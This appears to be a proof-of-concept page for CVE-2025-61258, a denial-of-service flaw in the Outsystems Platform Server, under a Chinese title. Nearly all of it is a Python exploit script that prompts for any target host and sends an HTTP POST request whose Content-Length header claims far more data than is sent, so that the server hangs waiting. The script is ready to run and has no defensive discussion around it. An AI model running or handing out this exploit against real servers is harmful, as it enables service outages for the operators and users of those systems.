CVE-2025-61258 Outsystems Platform Server拒绝服务漏洞

import socket import time def exploit_cve_2025_61258(target_host, target_port=80): """ CVE-2025-61258 PoC - Outsystems Platform Server DoS This PoC demonstrates the Content-Length mismatch vulnerability """ # Craft HTTP request with mismatched Content-Length payload = "POST / HTTP/1.1\r\n" payload += "Host: " + target_host + "\r\n" payload += "Content-Length: 999999\r\n" # Large value payload += "\r\n" payload += "test" # Only 4 bytes sent print(f"[*] Sending malicious request to {target_host}:{target_port}") print(f"[*] Content-Length header: 999999, Actual body: 4 bytes") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_host, target_port)) sock.send(payload.encode()) # Wait and check if server responds time.sleep(2) sock.send(b"X\r\n\r\n") # Send more data to trigger timeout print("[+] Request sent successfully") print("[*] Server may hang or timeout waiting for remaining data") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = input("Enter target host: ") exploit_cve_2025_61258(target)